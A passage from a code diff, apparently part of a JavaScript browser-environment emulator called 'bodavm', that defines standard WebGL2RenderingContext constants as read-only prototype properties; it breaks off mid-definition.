enumerable: true, + writable: false, + value: 10497 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CLAMP_TO_EDGE", { + configurable: false, + enumerable: true, + writable: false, + value: 33071 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIRRORED_REPEAT", { + configurable: false, + enumerable: true, + writable: false, + value: 33648 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35664 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35665 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35666 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35667 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35668 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35669 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL", { + configurable: false, + enumerable: true, + writable: false, + value: 35670 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC2", { + configurable: false, + enumerable: true, + writable: false, + value: 35671 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC3", { + configurable: false, + enumerable: true, + writable: false, + value: 35672 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BOOL_VEC4", { + configurable: false, + enumerable: true, + writable: false, + value: 35673 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2", { + configurable: false, + enumerable: true, + writable: false, + value: 35674 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3", { + configurable: false, + enumerable: true, + writable: false, + value: 35675 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4", { + configurable: false, + enumerable: true, + writable: false, + value: 35676 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D", { + configurable: false, + enumerable: true, + writable: false, + value: 35678 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_CUBE", { + configurable: false, + enumerable: true, + writable: false, + value: 35680 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_ENABLED", { + configurable: false, + enumerable: true, + writable: false, + value: 34338 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34339 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_STRIDE", { + configurable: false, + enumerable: true, + writable: false, + value: 34340 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 34341 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_NORMALIZED", { + configurable: false, + enumerable: true, + writable: false, + value: 34922 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_POINTER", { + configurable: false, + enumerable: true, + writable: false, + value: 34373 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 34975 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "IMPLEMENTATION_COLOR_READ_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 35738 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "IMPLEMENTATION_COLOR_READ_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 35739 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPILE_STATUS", { + configurable: false, + enumerable: true, + writable: false, + value: 35713 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LOW_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36336 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MEDIUM_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36337 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HIGH_FLOAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36338 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "LOW_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36339 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MEDIUM_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36340 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HIGH_INT", { + configurable: false, + enumerable: true, + writable: false, + value: 36341 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36160 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 36161 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA4", { + configurable: false, + enumerable: true, + writable: false, + value: 32854 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB5_A1", { + configurable: false, + enumerable: true, + writable: false, + value: 32855 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB565", { + configurable: false, + enumerable: true, + writable: false, + value: 36194 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT16", { + configurable: false, + enumerable: true, + writable: false, + value: 33189 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_INDEX8", { + configurable: false, + enumerable: true, + writable: false, + value: 36168 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_STENCIL", { + configurable: false, + enumerable: true, + writable: false, + value: 34041 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_WIDTH", { + configurable: false, + enumerable: true, + writable: false, + value: 36162 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_HEIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 36163 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_INTERNAL_FORMAT", { + configurable: false, + enumerable: true, + writable: false, + value: 36164 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_RED_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36176 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_GREEN_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36177 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_BLUE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36178 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_ALPHA_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36179 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_DEPTH_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36180 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_STENCIL_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 36181 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 36048 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_OBJECT_NAME", { + configurable: false, + enumerable: true, + writable: false, + value: 36049 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL", { + configurable: false, + enumerable: true, + writable: false, + value: 36050 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE", { + configurable: false, + enumerable: true, + writable: false, + value: 36051 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT0", { + configurable: false, + enumerable: true, + writable: false, + value: 36064 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36096 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36128 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_STENCIL_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 33306 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "NONE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_COMPLETE", { + configurable: false, + enumerable: true, + writable: false, + value: 36053 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36054 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", { + configurable: false, + enumerable: true, + writable: false, + value: 36055 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", { + configurable: false, + enumerable: true, + writable: false, + value: 36057 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_UNSUPPORTED", { + configurable: false, + enumerable: true, + writable: false, + value: 36061 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36006 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 36007 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_RENDERBUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 34024 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_FRAMEBUFFER_OPERATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1286 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_FLIP_Y_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37440 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_PREMULTIPLY_ALPHA_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37441 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONTEXT_LOST_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37442 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_COLORSPACE_CONVERSION_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37443 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BROWSER_DEFAULT_WEBGL", { + configurable: false, + enumerable: true, + writable: false, + value: 37444 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 3074 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_ROW_LENGTH", { + configurable: false, + enumerable: true, + writable: false, + value: 3314 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_ROWS", { + configurable: false, + enumerable: true, + writable: false, + value: 3315 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_PIXELS", { + configurable: false, + enumerable: true, + writable: false, + value: 3316 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_ROW_LENGTH", { + configurable: false, + enumerable: true, + writable: false, + value: 3330 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_SKIP_ROWS", { + configurable: false, + enumerable: true, + writable: false, + value: 3331 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_SKIP_PIXELS", { + configurable: false, + enumerable: true, + writable: false, + value: 3332 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR", { + configurable: false, + enumerable: true, + writable: false, + value: 6144 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH", { + configurable: false, + enumerable: true, + writable: false, + value: 6145 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL", { + configurable: false, + enumerable: true, + writable: false, + value: 6146 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED", { + configurable: false, + enumerable: true, + writable: false, + value: 6403 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8", { + configurable: false, + enumerable: true, + writable: false, + value: 32849 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8", { + configurable: false, + enumerable: true, + writable: false, + value: 32856 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB10_A2", { + configurable: false, + enumerable: true, + writable: false, + value: 32857 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 32874 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_IMAGES", { + configurable: false, + enumerable: true, + writable: false, + value: 32877 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_IMAGE_HEIGHT", { + configurable: false, + enumerable: true, + writable: false, + value: 32878 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 32879 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_R", { + configurable: false, + enumerable: true, + writable: false, + value: 32882 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_3D_TEXTURE_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 32883 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_2_10_10_10_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 33640 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENTS_VERTICES", { + configurable: false, + enumerable: true, + writable: false, + value: 33000 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENTS_INDICES", { + configurable: false, + enumerable: true, + writable: false, + value: 33001 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MIN_LOD", { + configurable: false, + enumerable: true, + writable: false, + value: 33082 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAX_LOD", { + configurable: false, + enumerable: true, + writable: false, + value: 33083 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BASE_LEVEL", { + configurable: false, + enumerable: true, + writable: false, + value: 33084 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAX_LEVEL", { + configurable: false, + enumerable: true, + writable: false, + value: 33085 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIN", { + configurable: false, + enumerable: true, + writable: false, + value: 32775 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX", { + configurable: false, + enumerable: true, + writable: false, + value: 32776 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT24", { + configurable: false, + enumerable: true, + writable: false, + value: 33190 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_LOD_BIAS", { + configurable: false, + enumerable: true, + writable: false, + value: 34045 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_COMPARE_MODE", { + configurable: false, + enumerable: true, + writable: false, + value: 34892 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_COMPARE_FUNC", { + configurable: false, + enumerable: true, + writable: false, + value: 34893 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_QUERY", { + configurable: false, + enumerable: true, + writable: false, + value: 34917 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "QUERY_RESULT", { + configurable: false, + enumerable: true, + writable: false, + value: 34918 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "QUERY_RESULT_AVAILABLE", { + configurable: false, + enumerable: true, + writable: false, + value: 34919 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_READ", { + configurable: false, + enumerable: true, + writable: false, + value: 35041 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_COPY", { + configurable: false, + enumerable: true, + writable: false, + value: 35042 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_READ", { + configurable: false, + enumerable: true, + writable: false, + value: 35045 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_COPY", { + configurable: false, + enumerable: true, + writable: false, + value: 35046 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_READ", { + configurable: false, + enumerable: true, + writable: false, + value: 35049 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_COPY", { + configurable: false, + enumerable: true, + writable: false, + value: 35050 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_DRAW_BUFFERS", { + configurable: false, + enumerable: true, + writable: false, + value: 34852 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER0", { + configurable: false, + enumerable: true, + writable: false, + value: 34853 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER1", { + configurable: false, + enumerable: true, + writable: false, + value: 34854 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER2", { + configurable: false, + enumerable: true, + writable: false, + value: 34855 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER3", { + configurable: false, + enumerable: true, + writable: false, + value: 34856 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER4", { + configurable: false, + enumerable: true, + writable: false, + value: 34857 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER5", { + configurable: false, + enumerable: true, + writable: false, + value: 34858 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER6", { + configurable: false, + enumerable: true, + writable: false, + value: 34859 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER7", { + configurable: false, + enumerable: true, + writable: false, + value: 34860 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER8", { + configurable: false, + enumerable: true, + writable: false, + value: 34861 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER9", { + configurable: false, + enumerable: true, + writable: false, + value: 34862 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER10", { + configurable: false, + enumerable: true, + writable: false, + value: 34863 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER11", { + configurable: false, + enumerable: true, + writable: false, + value: 34864 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER12", { + configurable: false, + enumerable: true, + writable: false, + value: 34865 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER13", { + configurable: false, + enumerable: true, + writable: false, + value: 34866 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER14", { + configurable: false, + enumerable: true, + writable: false, + value: 34867 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER15", { + configurable: false, + enumerable: true, + writable: false, + value: 34868 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35657 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35658 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_3D", { + configurable: false, + enumerable: true, + writable: false, + value: 35679 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_SHADOW", { + configurable: false, + enumerable: true, + writable: false, + value: 35682 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAGMENT_SHADER_DERIVATIVE_HINT", { + configurable: false, + enumerable: true, + writable: false, + value: 35723 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_PACK_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 35051 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_UNPACK_BUFFER", { + configurable: false, + enumerable: true, + writable: false, + value: 35052 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_PACK_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35053 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_UNPACK_BUFFER_BINDING", { + configurable: false, + enumerable: true, + writable: false, + value: 35055 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2x3", { + configurable: false, + enumerable: true, + writable: false, + value: 35685 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2x4", { + configurable: false, + enumerable: true, + writable: false, + value: 35686 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3x2", { + configurable: false, + enumerable: true, + writable: false, + value: 35687 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3x4", { + configurable: false, + enumerable: true, + writable: false, + value: 35688 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4x2", { + configurable: false, + enumerable: true, + writable: false, + value: 35689 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4x3", { + configurable: false, + enumerable: true, + writable: false, + value: 35690 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB", { + configurable: false, + enumerable: true, + writable: false, + value: 35904 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB8", { + configurable: false, + enumerable: true, + writable: false, + value: 35905 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB8_ALPHA8", { + configurable: false, + enumerable: true, + writable: false, + value: 35907 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPARE_REF_TO_TEXTURE", { + configurable: false, + enumerable: true, + writable: false, + value: 34894 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32F", { + configurable: false, + enumerable: true, + writable: false, + value: 34836 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32F", { + configurable: false, + enumerable: true, + writable: false, + value: 34837 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16F", { + configurable: false, + enumerable: true, + writable: false, + value: 34842 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16F", { + configurable: false, + enumerable: true, + writable: false, + value: 34843 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_INTEGER", { + configurable: false, + enumerable: true, + writable: false, + value: 35069 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ARRAY_TEXTURE_LAYERS", { + configurable: false, + enumerable: true, + writable: false, + value: 35071 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIN_PROGRAM_TEXEL_OFFSET", { + configurable: false, + enumerable: true, + writable: false, + value: 35076 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_PROGRAM_TEXEL_OFFSET", { + configurable: false, + enumerable: true, + writable: false, + value: 35077 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VARYING_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35659 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 35866 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_2D_ARRAY", { + configurable: false, + enumerable: true, + writable: false, + value: 35869 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R11F_G11F_B10F", { + configurable: false, + enumerable: true, + writable: false, + value: 35898 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_10F_11F_11F_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 35899 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB9_E5", { + configurable: false, + enumerable: true, + writable: false, + value: 35901 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_5_9_9_9_REV", { + configurable: false, + enumerable: true, + writable: false, + value: 35902 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_MODE", { + configurable: false, + enumerable: true, + writable: false, + value: 35967 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS", { + configurable: false, + enumerable: true, + writable: false, + value: 35968 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_VARYINGS", { + configurable: false, + enumerable: true, + writable: false, + value: 35971 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_START", { + configurable: false, + enumerable: true, + writable: false, + value: 35972 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_SIZE", { + configurable: false, + enumerable: true, + writable: false, + value: 35973 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN", { + configurable: false, + enumerable: true, + writable: false, + value: 35976 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RASTERIZER_DISCARD", { + configurable: false, + enumerable: true, + writable: false, 